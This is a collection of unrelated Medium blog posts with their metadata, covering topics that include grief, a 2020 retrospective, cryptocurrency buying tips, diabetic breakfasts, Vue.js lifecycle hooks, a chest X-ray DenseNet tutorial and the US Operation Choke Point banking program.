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I’m Not Broken, Not Yet | I don’t need to voice the details, I don’t need to tell the stories, I don’t need others to know what happened. I don’t need pity, or encouragement. I don’t need sympathy. I know what I need to move forward, it’s none of those things, and I don’t want it. To really let go, to really reconnect to myself, my love, my dreams, my passion, my energy, my zest for the one life I get to take a chance on, I know what must happen, and I’m not ready. I’m not ready to be broken. I am not ready to allow my body to feel all the feels, all the feels I’ve refused to feel, all the brokenness. All the ways I wasn’t enough, no matter th eeffort, at my core, I was incapable. I am not ready. I won’t feel broken.
It seems the only way to move forward is to let go, embrace the experience I know is waiting for me, to welcome it to wash over me, to feel all the feels, and I just don’t want to. Not tonight. No, not this night. | https://medium.com/@lifesahighheeledadventure/im-not-broken-not-yet-23a816302065 | ['Justin Dickens'] | 2020-11-25 05:57:41.640000+00:00 | ['Running', 'LGBTQ', 'Divorce', 'Gender Identity', 'Breakups'] |
The Long December | The Long December
’Tis the season of taking stock, of planning, resolutions, and hope. The Counting Crows sang: “Maybe this year will be better than the last.” John Lennon asked: “And so this is Christmas and what have we done?”
2020 answered the question: We are here, that’s what we’ve done.
Many people are not. Many are sick, and many more suffering from the loneliness of this experiment in isolation. They say there is a vaccine, that, by summer, maybe things will be “normal.”
I say there’s no such thing.
We, humans, are good at setting a new baseline of happiness no matter the condition. We walk a hedonic treadmill. After some weeks or months, we normalize anything. Today we yearn for the days when only global warming, inequality, and “normal” wars and pestilences raged.
2020 united us in isolation but divided us further. We learned that we can all feel pain, fear, and loss at the same time, but we learned nothing from it. When we commiserated, we did it over over Zoom, allowing a global network of wire to mediate our yearning for connection.
We each sequestered in our fear, disgracing ourselves intellectually, dividing ourselves politically, plumbing new depths of hate. We, who all suffer together and ultimately the same fate, decided we were too different to feel empathy. Our tears of pity locked and frozen.
And for what? So the barking dogs of our politics could bark louder? So the grievances we’ve let fester for so long could become monsters?
The poet Rumi said:
“There are values in pain that are difficult to see without the presence of a guest. Walk with grief like a good friend.”
In 2020 … were we guests to each others’ pain?
Or did we divide into families and parties and factions, choosing the tribe, rejecting our shared humanity?
Rather than find the kernel of gratitude in the fact that, no matter how bad things are, they can always get worse, we decided we were owed something better than we got.
Dismiss 2020 as a dumpster fire at your own risk. Choose instead to find the goodness that is everywhere apparent. Choose to find the people and things to be grateful for. They will not be there always.
See the beauty in a child’s preparing milk and cookies for Santa, in a friend’s gift, in a meal on the table, in a tear on a cheek.
Another year’s over and a new one is begun. Maybe this year will be better than the last.
In Memory of W.B. Yeats by W.H. Auden | https://medium.com/illumination/the-long-december-b51f6119b6f9 | ['Geoff Cook'] | 2020-12-25 02:16:55.697000+00:00 | ['2020', 'Self Improvement', 'Motivational', 'Self', 'Gratitude'] |
Reasons Why You Need to Use a Broker for Buying Cryptocurrency | A crypto exchange broker program is not only helpful for trading but also comes with a lot of benefits of a smooth trading experience on behalf of the traders. Read on to know more.
These days, it is approximately impossible to scroll through social media news feeds without watching headlines regarding cryptocurrency. The worldwide phenomenon of blockchain technology sweeping the world in a relatively short period has impacted various communities globally. The latest approval by various regulators for launching Bitcoin futures exchange happens to be a clear sign that blockchain is here to stay.
Amateur users are looking for the most ideal place for purchase in Bitcoin regarding investment purposes or to utilize it as a payment system. When it comes to the digital currency, users are likely to open up Google and just proceed with the initial cryptocurrency exchange that comes on the search page. This can be considered as a big mistake as it is not how to start with crypto trading.
When it comes to beginners, they need to always conduct their research as the most popular Crypto exchanges may not always be the best place for buying cryptocurrencies. In this article, there are the reasons why it is beneficial to consider a Crypto exchange broker program for buying cryptocurrencies. Read on to find more.
Reduced Slippage Fees
While choosing a new Crypto exchange, amateurs mainly make the common mistake of picking one based on its low trading attribute. It may appear like a logical decision and lucrative proposition for maximizing a fiat deposit within an exchange for more Crypto. However, choosing a Crypto exchange based on liquidity might result in high slippage fees that will crumble up your funds. This is where broker programs come in.
Some brokers might help amateurs buy and sell throughout the most liquid Crypto exchanges (such as PayBito) to verify where the highest liquidity prevails for a particular asset and split the order throughout those changes. Beginner traders utilizing brokers can benefit by getting the lowest spread, best market rate, and minimum sleep age that can boost possibility in the long run.
Greater Liquidity Pool
For each asset that is sold or bought, whether it is Crypto or forex, it needs to possess someone to buy or sell from. The more traders conduct buying and selling, the more liquid a Crypto exchange happens to be considered. In the case of new Crypto exchanges, it populates each of its trading pairs and the order books with buyers and sellers for providing the users with a market to trade. This leads to distributing the trading liquidity from prevailing exchanges that might negatively affect smaller exchanges traders might be presently trading with. Here is where the Crypto exchange broker program comes in.
Crypto brokers can help beginners avoid this problem by evaluating the market and acting on instruction from the trader to conduct reading according to an estimate or quoted price. By utilizing distributing buys and sells throughout the highest liquidity exchanges globally, brokers can increase their combined order book liquidity concerning a particular asset. It indicates that its users can trade crypto assets with maximum available liquidity.
Increased Crypto Pairs to Trade
Being stuck within the trade and not being capable of getting a fill might be a common problem on crypto exchanges offering 100 to 200 tradable assets. Based on the regular trading volume, crypto pairs on exchanges have their own order book for every asset against fiat currency and additionally Bitcoin. It indicates that less liquidity happens to be available on the crypto exchange, resulting in higher slippage and spread charges for crypto assets traded. Here, a crypto exchange broker program can be a savior.
Crypto brokers come with the ability to offer assets without liquidity losses, and it happens to be a major benefit. Not only does this indicate lower spread and slippage charges, but users can also utilize a particular crypto broker trade, manage a cryptocurrency portfolio, and store assets within the particular location without requiring to register with multiple crypto exchanges to trade.
Final Remarks
If you are looking forward to buying Bitcoin or additional cryptocurrencies, it is recommended to do detailed research of the exchange beforehand and check slippage and spread fees associated with low liquidity order books. There happens to be an alternate option to the manipulation, deception, high spreads, hyperinflation by many crypto exchanges. The solution is to find a famous crypto broker providing better market rates and lower fees that can help increase profitability in the long run as cryptocurrency continues to increase its global adoption. | https://medium.com/@austinryan90/reasons-why-you-need-to-use-a-broker-for-buying-cryptocurrency-7165635f24e6 | ['Austin Ryan'] | 2020-12-22 13:35:02.631000+00:00 | ['Blockchain', 'Blockchain Technology', 'Cryptocurrency', 'Blockchain Development', 'Cryptocurrency Investment'] |
Fix Your Eyes, Fix Your Focus, Shoot And Aim Easier With Two Simple Eye Exercises | The New Rules of Marksmanship I developed uses a lot of what I call Dry Weapons Training or Dry Fire Training. If you’ve watched any of my videos or read my articles or books, really anything by me, you know this means everything you do besides firing live ammo and picking up brass. So when I get emails from people saying they can’t dry fire with their gun, I know they have not seen or read anything I’ve ever taught. They are looking for a quick fix without any work — not even watching my free videos!
IF YOU’RE THAT LAZY…GO AWAY!
To my faithful, hardworking New Rules students…let’s go!
If you’re like me and your eyesight seems to be getting worse, I’ve got good news; your eyes are muscles. And just like any other muscle in your body, you can make them stronger through exercise.
For years we thought that as we got older our vision would deteriorate and there was nothing we could do about it. Well that’s just plain wrong. With regular training you can not only stop deteriorating vision, but you can also improve it.
I learned this myself a few years ago when I noticed I was having a hard time focusing on my front sight. I did a bunch of research and I want to share two exercises you can do to help you improve your vision and your ability to focus.
OK, so these exercises are part of that dry weapons training. Maybe I need to coin a new term like “Weaponless Firearms Conditioning.” | https://medium.com/@chris_sajnog/fix-your-eyes-fix-your-focus-shoot-and-aim-easier-with-two-simple-eye-exercises-5c11132445ac | ['Chris Sajnog'] | 2019-03-07 18:29:17.022000+00:00 | ['Focus', 'Firearms', 'Gun', 'Aim', 'Training'] |
What is Yocto Project and why you should use it for embedded Linux development | Introduction
Yocto Project :
can build toolchains,
can build bootloaders,
can build kernels,
can build root filesystems
can generate an entire Linux Distribution containing binary packages that can be installed at runtime.
Primarily, Yocto Project is a group of recipes using a combination of:
Python shell scripts
Yocto Project includes also a task scheduler called “BitBake” that produces whatever you have configured from recipes.
A bit of history
2003 and “OpenEmbedded”
Yocto Project’s started from OpenEmbedded whose objective was to port Linux towards hand-held devices. It was developed, and continues to be maintained by an enthusiastic community of programmers.
Yocto Project’s started from OpenEmbedded whose objective was to port Linux towards hand-held devices. It was developed, and continues to be maintained by an enthusiastic community of programmers. 2005 and “Poky”
Richard Purdie, at that time a developer at OpenedHand, created a fork of OpenEmbedded, which approached with a more conservative choice of packages for the purpose of maintaining stability over a longer period of time. Richard named his version Poky.
Richard Purdie, at that time a developer at OpenedHand, created a fork of OpenEmbedded, which approached with a more conservative choice of packages for the purpose of maintaining stability over a longer period of time. Richard named his version Poky. 2008 Intel purchases OpenedHand
2010 Open Embedded and Poky combines into a new project OpenEmbedded Core (OE-Core)
Components of Yocto Project
OpenEmbedded-Core
This is shared with OpenEmbedded. This is the core metadata.
BitBake
This is the task scheduler.This is shared with OpenEmbedded.
Poky
This is the reference distribution.
Documentation
This is composed by the user’s manuals and the developer’s guides for each component.
Toaster
This is a web-based interface to BitBake and its metadata.
ADT Eclipse
This is a plugin for Eclipse.
Why would you use Yocto Project?
Many System-on-Chip (SoC) vendors provide BSPs (board-support-packages) for their devices appropriate for Yocto Project. Meta layers can also be used to create extended or just different build systems. | https://medium.com/the-innovation/what-is-yocto-project-and-why-you-should-use-it-for-embedded-linux-development-72978ad0d09b | ['George Calin'] | 2020-08-06 18:30:29.270000+00:00 | ['Openembedded', 'Yoctoproject', 'Embedded Linux', 'Bitbake', 'Embedded'] |
10 Best Breakfast Foods For Diabetics | Hey there, readers and welcome back to another Healthy Mind — Think Big post. Time and time again, we have been reminded of the importance of breakfast. Typically, it consists of toast or cereal. However, choosing the right foods can be quite a task for diabetics. Having the right food to power through the day is important. A balanced diabetic-friendly breakfast consists of lean protein, fiber, healthy fats and non-starchy vegetables. This also means replacing regular, everyday breakfast foods with low sugar alternatives. Wondering which foods to choose? Greek yogurt with fruits? Oatmeal with berries? Avocado with fried eggs? Today we will talk about breakfast foods for diabetics.
01. AVOCADO WITH FRIED EGGS
Let’s start off with a popular breakfast choice you may have seen on social media. Avocado paired with fried eggs in the form of a salad or on top of a sandwich is not only deliciously filling, it’s packed with nutrients that will help stabilize blood sugar levels. The good fats and omega 3 fatty acids of avocado combines well with the lean protein of fried eggs to create a power-packed breakfast meal. They also help reduce inflammation, adding fiber and heart-healthy minerals. The best part? You can get creative with the seasoning and add the herbs of your choice. What’s your favorite avocado toast topping? Sound off in the comment section and start a conversation with our Healthy Mind — Think Big community!
02. HUMMUS WITH WHOLE GRAIN TOAST
When it comes to breakfast for diabetics, you have to think outside the box. Hummus, which ranks extremely low in the glycemic index, is often overlooked. However, it can be a saving grace for them, as it’s a healthier alternative. Hummus is made by mashing chickpeas into a smooth, butter-like consistency and mixing it with some garlic and salt. Consisting of minimal ingredients, it’s light, but still packs quite a punch. Just spread some hummus on top of whole grain toast and sprinkle some chia seeds on top for extra nutrition.
03. ROASTED VEGETABLE EGG OMELET
Vegetables and egg omelets are two really filling meals. Instead of just having a plain old egg, add some veggies! Mixing veggies adds tons of nutrients to the otherwise traditional egg. But how does it help in maintaining glucose levels? The roasted vegetables contain fiber that contributes to the slowed digestion of food, resulting in a much more stable blood sugar level. Eggs also constitute for healthy protein while the veggies are a source of various vitamins like K and C. Omelets are already healthy. Adding some roasted vegetables like tomatoes, broccoli, carrot and spinach to it will add more nutritional value, and make it a more balanced meal. Delicious in taste, packed with nutrients and wholesome, this omelet is easy to whip up.
04. OATMEAL WITH NUT BUTTER
A bowl of oatmeal may sound basic, but that’s not the case. Diabetic or not, it’s a great breakfast option for everyone! Who doesn’t want to start their day feeling full and active? A wholesome bowl of oatmeal topped off with organic nut butter will keep you active throughout the day. The soluble fiber that is packed in oats not just lowers cholesterol levels and protects heart health, but also reduces glucose absorption. This means that the fasting blood sugar tends to remain stabilized. The combination of oatmeal and nut butter improves digestion and fills up on antioxidants, which will improve your skin and hair.
If you want to find more information about this, Click here | https://medium.com/@healthymindthinkbig/10-best-breakfast-foods-for-diabetics-healthy-mind-think-big-56d0ebe7c4b8 | ['Healthy Mind - Think Big'] | 2021-06-14 05:02:20.704000+00:00 | ['Health Foods', 'Healthy', 'Diabetes', 'Healthy Foods', 'Breakfast'] |
Mourning Mom…This Can’t Be Real | I’d love to hug whomever penned the phrase, “Death leaves a heartache no one can heal, love leaves a memory no one can steal.”
I’d also love to bitch slap them.
No, they didn’t do anything to me personally, and I don’t even know from what century that quote came to be. It’s just a low-grade-feverish-absolutely-shitty-never-going-to-see-them-again malaise that I feel wash over me as I read those words.
I guess it’s the whole concept of death in general.
Let me back up.
Ten years ago I had to mutter three words I never thought I’d ever have to string together in a sentence for at least another full decade or two. Those words?
Mom is gone.
My wonderful, clever, loving, witty mom passed away in her sleep. Hitting me even harder — like a sucker punch in the spot my appendix once occupied — mom passed sometime between going to bed Thanksgiving eve and Thursday morning’s sunrise.
Mom had her freshly baked apple pie (with a perfectly pinched crust) ready for the Thanksgiving feast, and she always told me if (when) she died, she wanted to be dressed in a really nice outfit so that she’d look her best. That night she opted for comfort, because she went to bed in one of her well-worn flannel nightgowns.
I knew she would’ve been more pissed about being in that old nightgown then leaving us, but that was my mom.
I didn’t care if she went to bed in a Dior ballgown. There were no warnings, no clues, no nothing, no mom.
Mom is gone. Mom is gone. Mom is gone.
I found myself repeating those words over and over. I couldn’t believe this was real. Between taking belts of whiskey just to self soothe, crying until (no more water was left in my body) my tear ducts went dry, and getting major cases of the gags, I felt like I was in a stupor — a walking coma. Part of me also WISHED I was in a coma, and when I awoke (or not), this whole shocking mess would be nothing but a bad dream.
A dream it wasn’t, however. My house was filled with condolence cards and arrays of colorful flowers with touching notes from a zillion family members and friends but…somehow it still didn’t seem real. It COULDN’T be real.
Mom was SO ALIVE, so funny — always ready with a wisecrack, or words of wisdom. I loved her advice. She laid it flat out like no one could.
Let me share a few examples of her witty one liners (please remember, this is going back a decade or so):
Sex Tapes — Ma says, “as long as you’re looking good, be proud and go for it!.” She also noted her ‘green light’ is for couples’ sex tapes only, not for freaks involving animals or vegetables.
Home Wrecker: — “You can’t ‘take’ somebody’s husband, unless he wants go.” “Kidnapping doesn’t count,” she added.
NJ Politics — Mom’s nickname for the ultra bloated NJ Governor Chris Christie was: ”Krispy Kreme, because he looks like he’s had more than a few.”
Mary Kate Olsen -“She’s a walking advertisement for disaster. She should have a show called ‘What not to buy.”
Kate Gosselin — Ma said “I hope her kids turn the cameras on her when she’s old and taking craps in HER diaper. What’s fair is fair.”
Octo Mom — “That little simpleton can’t even get her book sold. Everybody already knows her whole story; her 15 minutes of fame are up.”
Jennifer Aniston — “She’ll be a grandmother’s age soon enough, and the tabloids will still be yapping about her having a baby.”
Jesse James (re: Sandra Bullock) “Just shut up and take the blame. Don’t blame your parents for being a loser.”
Mel Gibson — “I always thought he was crazy, but Oksana knows exactly which buttons to push to unleash Mel’s inner raving maniac.” she added, “any husband of mine would not be able to walk out of the house if he was threatening my baby. I’d beat his face in!”
She said all these things in complete jest — she loved to make me laugh. My mom was caring, generous, funny, and she STILL makes me laugh as I write this piece about her. She was one funny mother I used to say.
Despite knowing she was gone, I’d still dial her phone number and expect her to pick up. I remember wanting to call her about who was just told to f*ck off on Hell’s Kitchen, or whom we thought should have gotten fired on The Apprentice (we won’t speak of that show now, but we did then), or the new black patent vegan boots I snagged on sale, but then the cold harsh smack of reality would hit me right in the face, telling me those days are over.
Oh Mom, why did you have to leave us?
Part of the reason she left was I think in her soul she was ready was to be with her beloved (my dad) who passed away 3 years prior. It certainly wasn’t her age, as mom was 11 years younger than Dad, and she just turned 70 (which is the new 50 now).
Mom did tell me a week or so before she passed that each year without Dad was harder instead of easier, and with Thanksgiving being one of Dad’s favorites — we’re Italian after all, so any holiday with a feast was a win — it did seem poetic that she drifted off in her sleep to spend Thanksgiving with him.
Mom, Me & Dad Wedding Day 1999
My mom was a mom, but she was also a best friend. A best friend who loved to shop! I think they came up with the term shopaholic for people like her.
Mom had HSN & QVC on speed dial, and she was always hiding a jewelry trinket she found from those channels in my house for me to find after she left, or if I happened to admire a ring or bracelet she was wearing, I’d often find it waiting for me in my jewelry box. I think she hid some of her loot from my dad too. “Oh, this old thing?” she’d say.
One of my favorite pastimes was mixing up a couple of bold whiskey sours and listening to dozens of Mom’s humorous stories. She’d chat about her life in the fifties and sixties, and those anecdotes now occupy a notebook of mine, which would be the first non-living thing I’d reach for in an emergency.
Loss of any kind is a tough pill to swallow, and when you lose someone you’re very close to, you feel like your heart is literally ripping apart inside your chest. It’s ten years later and I can feel a tiny new tear forming as I write this, and for some reason my keyboard is getting soggy.
Yes, death does leave a heartache no one can heal, and my love for her leaves many precious memories no one can steal, so I’ll try to keep my brain ultra sharp until the day we meet up on the other side. I have soooooo much to tell her!
I think I’ll mix up a couple of whiskey sours tonight. I’ll leave one on the coffee table in Mom’s honor. | https://medium.com/@leeromanosequeira/mourning-mom-this-cant-be-real-680cca1f0924 | ['Lee Romano Sequeira'] | 2021-08-09 23:45:38.889000+00:00 | ['Loss', 'Death', 'Mothers', 'Loss Of A Parent', 'Mwc Death'] |
I bet my father that I could pay off $60,000 in student loans in the next 9 months. | I bet my father that I could pay off $60,000 in student loans in the next 9 months. Bralyn Wolfstein Nov 16, 2019·3 min read
Hello Medium,
Today is November 16th. Welcome to the first thing I have written apart from facebook posts written during the undergrad years about sportzball games. I am writing this blog for two purposes — to document my life as I sweat, bleed, and cry my way through a bet I have made with my father, and to find my writing voice. More on the second point later.
Right before I finished graduate school, I had about $60,000 in student loans. I was being flippant with my father one afternoon while we joked around about how long it would take me to pay off the student loans. I got smart with him and told him that I would find a way to pay off the loans by August of 2020, specifically on the eve of my sister’s birthday. I bet him two tickets to Hawaii that I would have every cent of my student loans paid off by then; if I win, I can take one other person with me to America’s most tropical state. If I lose, those tickets will go to my parents.
I work at a technology company in New York City. I make decent money, but not enough to make this accomplishment feasible with my income alone. As such, this blog will chronicle my journey as I push myself to be more resourceful than I thought possible. I will document my experience cold calling people to sell insurance, I will reflect on the products I receive from affiliate market offers, and I will express my honest, open thoughts as I work to establish a functional passive stream of income aside from my daily job. I will be frank with you, my dear reader. I don’t know if I will be able to pull this off. So far, I have paid off around $10,000 since graduation (last December). This blog will document my own struggles, successes, reflections on reading that I have done, interviews with small business owners, and thoughts on digital marketing, insurance, whatever insights I discover while scrambling harder than an egg in a frying pan to pull this off.
Two noteworthy things — Bralyn Wolfstein is not my real name. The company I work for gets nauseous when they find workers who have side projects, so to be on the safe side, I won’t be revealing personal information because I have this fear that should my employer find out, I would get screwed over in multiple orifices.
Another noteworthy thing. I am doing this all to push myself further than I am comfortable. Running a blog is one of the things that has always made me about as comfortable as a MAGA hat at the Democratic National Convention, so I am using this to develop my own speaking voice and eventually build my own brand with it.
Here’s to many more entries, good and bad, dear reader. Onward. | https://medium.com/@diveblue95/i-bet-my-father-that-i-could-pay-off-60-000-in-student-loans-in-the-next-9-months-9f68d6cdfa39 | ['Bralyn Wolfstein'] | 2019-11-16 21:16:34.712000+00:00 | ['Small Business', 'Entrepreneurship', 'Challenge', 'Student Loans', 'Side Hustle'] |
Life cycle hooks in VueJS(2.x) | Important points to remember
You can access data, computed properties, and methods inside life cycle hooks. You should not use an arrow function to define a lifecycle method. Mounting hooks are often the most-used hooks. They allow you to access your component immediately before and after the first render.
Lifecycle hooks(vue 2.x)
beforeCreate created beforeMount() mounted beforeUpdate updated activated deactivated beforeDestroy destroyed errorCaptured
When to use lifecycle hooks?
When you need to know when your component is created, added to the DOM, updated, or destroyed. | https://medium.com/@laravelexpertgroup/life-cycle-hooks-in-vuejs-2-x-ba850002bba6 | ['Mohd Daud Khan'] | 2020-12-15 13:14:25.936000+00:00 | ['Vuejs'] |
Top 3 Tips for a Newbie Crypto Investor | Bitcoin today, and all of the currencies that are built using that recipe, are at the same stage that the internet was in 1992. Only now we have the internet, and so the rate of exponential growth has already started. The innovation is growing at an astonishing rate. - Andreas M. Antonopoulos
Taking the first step towards something that seems complex and risky can be intimidating. Your own insecurities around investing coupled with never ending slashing and criticism of cryptocurrencies makes it even more scary. However, if you are reading this article, chances are, you have heard about Bitcoin and have been thinking about investing and being part of this new paradigm shift in technology.
I started my own crypto investment journey when everything went euphoric in 2017 and then watched my entire portfolio get crushed as cryptocurrencies entered a period of despondency. Although my journey into cryptocurrencies didn’t make me an overnight millionaire, it did teach me a lot about investing, financial markets, market psychology and patience amongst other things. It gave the encouragement to delve deeper and appreciate this growing technology trend. Learning about all the limbo in the industry such as FUD, FOMO, Lambo, HODL, When Moon etc. was an added amusement.
There is already a ton of information about cryptocurrencies out there. Having weathered the Crypto winter since December 2017, I have relentlessly continued to follow and learn about this new asset class and want to share my top tips that I wish I knew early on back then. These tips are relevant to this market regardless of when you read it and if you are already in the game, it’s never too late to take action on the tips below if you haven't acted upon them already.
1. Own Your Crypto
Photo by Shane Avery on Unsplash
You have done that initial research on the top Crypto exchanges and have gone as far as creating an account and buying your first cryptocurrency. As a newbie, that is a big step and congratulations for entering into this new world. But do you really own the crypto that you just brought? Not really!
For those who are bewildered by the above statement, I suggest that you start your research understanding private & public keys and crypto wallets. Be it Coinbase, Binance, Kraken, Gemini or any other exchange for that matter, leaving your crypto on an exchange means that you don’t have the private key to your cryptocurrency and hence don’t really own it.
Crypto industry has a very short memory in general, but veterans in the industry would remember the Mt.Gox fiasco in the early days and the more recent hack and closure of the exchange Cryptopia. Exchange crashes & hacks are prevalent and all sorts of scams are unfortunately a norm in this industry.
Educate yourself on using crypto wallets (I strongly recommend hardware wallets) and what it means to own your private key. Keeping your coins on an exchange might seem convenient but the last thing you want is to watch your cryptocurrencies stolen or become inaccessible right when the prices are at its peak and when you want to encash it.
Simple rule: Your key, your Bitcoin. Not your keys, not your Bitcoin - Andreas M. Antonopoulos
2. Do Your Own Research
Photo by Windows on Unsplash
With over 5000 different crypto currencies coupled with constant coin recommendations on youtube and other platforms, it’s easy to get overwhelmed quickly. However, don’t put your hard earned money into a random coin off of a tip or recommendation from a stranger on YouTube. Like anything else in life, be wary of scams, pump & dumps and Get-rich quick schemes.
Yes, recommendations can be useful and help you in narrowing down the potential list of cryptos. But ignore the noise and hype. Take the time to understand what you are putting your money behind. We spend days and months researching about buying a home, a car or even a new phone. This is no different.
Take the time to at-least go to their website and understand the cryptocurrency, the team behind it, their vision, read the white paper, look though their Github code, join their Telegram channel, Twitter or other social media channels to see what is happening in the community. Follow the news and articles in the industry and stay up-to-date.
Following established industry veterans such as Andreas M. Antonopoulos, Tone Vays, Jimmy Song and Ivan on Tech helped me in the journey and are a good starting point for anyone new.
The best investment you can make, is an investment in yourself. The more you learn, the more you’ll earn. - Warren Buffett
3. Have an Exit Strategy
Photo by Ali Yahya on Unsplash
There is nothing more exciting that watching your portfolio go up in value exponentially and nothing more devastating than watching your money get eroded and having to hold a bag of coins that are worthless. I learned this the hard way.
Cryptocurrencies are a new asset class and investing in them is still extremely risky. The volatility is high and the price fluctuations can be wild. Before you make any decisions, you should have a clear plan in mind and more importantly stick to that plan when emotions cloud your thought process.
Have a clear reason why you are investing in a particular coin, track your portfolio (on an app or a simple spreadsheet for that matter), have an exit price or percentage gain in mind and most importantly, rigorously stick to it.
The best way to measure your investing success is not by whether you’re beating the market but by whether you’ve put in place a financial plan and a behavioural discipline that are likely to get you where you want to go. - Benjamin Graham
Takeaway
Cryptocurrency and Blockchain technology is here to stay and the future looks bright. With fresh opportunities comes big risks. As the market recovers from the bear market, as mainstream media starts to cover the market widely, as hype and euphoria returns, there will be many newbies entering the market. Remember:
Own your Crypto Do your own research Have an exit strategy
While the above tips are not an exhaustive list, I hope that it will provide you with the right launchpad for making informed decisions and help delve down the rabbit hole of this fascinating market. | https://medium.com/predict/top-3-tips-for-a-newbie-crypto-investor-48a0f0164a38 | ['Rivo Kienan'] | 2020-06-08 22:35:29.607000+00:00 | ['Investing', 'Blockchain', 'Business', 'Crypto', 'Tech'] |
Chest X-Ray based Multi-Class Disease Classification using DenseNet121 — Transfer Learning Approach | Hey, What up, guys!? Today, we’re gonna do some fascinating fireworks with Neural Networks! Okay, lemme not keep you waiting, let's jump straight into the World of Machine Learning!
Good Day, People! :) I’m Naveenraj Kamalakannan from India, and I’ll walk you through my project of multi-class disease classification. I’ve used Transfer Learning with DenseNet121. It sounds so creepy, right? Chill, I got you! Let’s jump straight into the project.
Importing Required Packages
Note: I faced runtime errors while training the network, so I’ve disabled the eager execution
The Chest X-Ray dataset used for this implementation is from the National Institute of Health which comprises 112,120 X-ray images with disease labels from 30,805 unique patients. Clinical diagnosis of a chest X-ray can be challenging and sometimes more difficult than diagnosis via chest CT imaging. Click here to access the dataset,
P.S.: I didn’t use the complete dataset because it really takes a lot of time to run on my laptop. Using these 12,500 images, the code has been running for hours. Hey, Wait! Why don’t you make some donations, so that I can buy a GPU and run the codes faster! 😉
Check for Patient Overlap
This step has its own significance, for it prevents the model’s performance from being overly optimistic. While training, there is a chance that the model can learn patient-specific features, which improves the accuracy while testing it with the same patient. Therefore, we split the dataset such that we don’t have common patients between the respective splits.
Analyzing a Sample Image
This is necessarily not a part of the main code but can be used to analyze and differentiate the variation of pixel intensity, maximum and minimum pixel intensity of the images. We will plot the pixel intensity variation over a histplot for both original and standardized images. To standardize the images, we use the ImageDataGenerator class for all the datasets viz: train, validation, and test.
Sample Original Image
Sample Image - Pixel Intensity Variation
Standardizing Images using ImageDataGenerator Class
First things first, we have to normalize the images before we proceed to the Model building phase.
Standardizing the pixel intensity values
In the real world, we won’t be processing the X-Ray images as batches rather just one-by-one. So, considering these facts, if you carefully examine the code, we can find that the training dataset is samplewise centered and normalized while the testing dataset is featurewise centered and normalized.
Sample Standardized Image
Sample Standardized Image — Pixel Intensity Variation
Removing the Class Imbalance Problem using Customized Loss Function
In this walkthrough, we will be implementing a Cross-entropy loss function instead of the common MSE function as there is a huge variation of positive and negative frequency of each class.
One way to overcome this is to downsample/upsample all the positive and negative samples to a number ’n’ so that they contribute equally to the Loss Function.
Another way is to weigh the positive and negative frequency such that the total positive contribution and the total negative contribution equalizes.
Before weighing the classes
We can clearly see that the frequency of data that doesn’t have a specific class of disease is way too higher. This seems to be an advantage to our model. If the model predicts ‘0’ — negative for all the values, the loss function would return negligible loss and the model would claim high accuracy.
Okay, seems to be a problem, :( Let’s work on it!
After weighing the loss
Now that our class imbalance problem is addressed, our model can’t predict by the majority. Cool! Let’s define our loss function.
Building the Model
Woah! We crossed 75% of the ocean…just a few more to go. Cheer Up! In this project, we have used DenseNet121 to train our model. But why the PRE-TRAINED model?
A pre-trained model has been previously trained on a dataset and contains the weights and biases that represent the features of whichever dataset it was trained on.
You can access the weights, pre-trained files from my GitHub repository. (Links attached below)
A dense block with 5 layers and a growth rate of 4. Source: https://github.com/liuzhuang13/DenseNet
A deep DenseNet with three dense blocks. Source: https://github.com/liuzhuang13/DenseNet
Training Loss Curve
Analyzing the Performance
Let’s plot a ROC curve to get to know how well the model has performed.
Computed using pretrained_model weights from Coursera*
Note: The reason behind this average AUC score is the lack of a dedicated GPU to train the samples. I took a good amount of training dataset with batch_size = 1, WIDTH = 512 and HEIGHT = 512. Upon training the samples with appropriate batch statistics, a good pre-training model, and with enough samples, we will be able to achieve higher AUC values.
Chest X-Ray GradCam Computation
Okay, Great! We did it. Get a hands-on experience. I have uploaded my code and all the necessary files. Refer to the underlying links. Thanks, Mate!
Clap for me and make a donation, so that I can work harder and make more interesting and hands-on pieces of stuff.
Check out my GitHub Repository for the code and pre-trained models.
Link: github.com/therealnaveenkamal/Chest_XRay_Disease_Classification
References: | https://medium.com/@therealnavzz/chest-x-ray-based-multi-class-disease-classification-using-densenet121-transfer-learning-approach-985d734924fa | ['Naveenraj Kamalakannan'] | 2021-07-22 09:19:19.789000+00:00 | ['Artificial Intelligence', 'Research', 'Medical', 'Machine Learning', 'Deep Learning'] |
Operation Choke Point | I was skimming the facebook page of a soon-to-be-podcast guest, Kingsley Edwards, and came across a disturbing article describing Operation Choke Point.[1] The name of the Operation struck me as odd and after a few lines of reading, I knew it was the problem facing many of us in the crypto-industry; access to banking has been choked off. I have felt this pain first hand; in August the Bank of Tampa declared my law firm’s account to be a Money Services Business (“MSB”). Considering how closely I work with the FinCEN MSB process, I know without a doubt that the Bank of Tampa made an erroneous classification, but there was no use arguing with them. We found Chase to be more accommodating so far.
Last publication of the list was in 2012.
Operation Choke Point was launched by the Dept. of Justice in 2013, “to ‘choke out’ companies the Administration considers a ‘high risk’ or otherwise objectionable, despite the fact that they are legal businesses” by “deny[ing] these merchants access to the banking and payments networks that every business needs to survive.”[2] Essentially, it pressures banks to “choke off” access to bank accounts for industries thought to be a high risk for fraud.
The full list consisted of the following merchant categories: Ammunition Sales, Cable Box De-scramblers, Coin Dealers, Credit Card Schemes, Credit Repair Services, Dating Services, Debt Consolidation Scams, Drug Paraphernalia, Escort Services, Firearms Sales, Fireworks Sales, Get Rich Products, Government Grants, Home-Based Charities, Life-Time Guarantees, Life-Time Memberships, Lottery Sales, Mailing Lists/Personal Info, Money Transfer Networks, On-line Gambling, PayDay Loans, Pharmaceutical Sales, Ponzi Schemes, Pornography, Pyramid-Type Sales, Racist Materials, Surveillance Equipment, Telemarketing, Tobacco Sales, and Travel Clubs.[3]
Former Federal Deposit Insurance Corp. Chairman William Isaac went as far as to call it “one of the most dangerous programs I have experienced in my 45 years of service as a bank regulator, bank attorney and consultant, and bank board member.”[4]
The term “reputational risk” is often used in the banking industry to describe businesses that are considered as a high risk for fraud.[5] With this Operation Choke Point program, federal regulators can effectively squeeze off banking services to legal companies just by suggesting the overall industry may have a reputational risk.
As soon as an official from the Federal Deposit Insurance Corporation (“FDIC”) would inform the banks that the government considered certain types of their customers “high risk,” the sheer implication is enough to induce the banks to close accounts. As the FDIC is well aware, the idea of additional audits, investigations, and other oversight from their regulator is quite unattractive, to say the least.[6]
I have no trouble believing that “Virtual Currency” is also on the “reputational risk” list, however there have been no public updates to the list since 2012. In the FDIC’s 2017 annual report, they stated that they formed a Financial Technology Working Group to monitor the challenges.
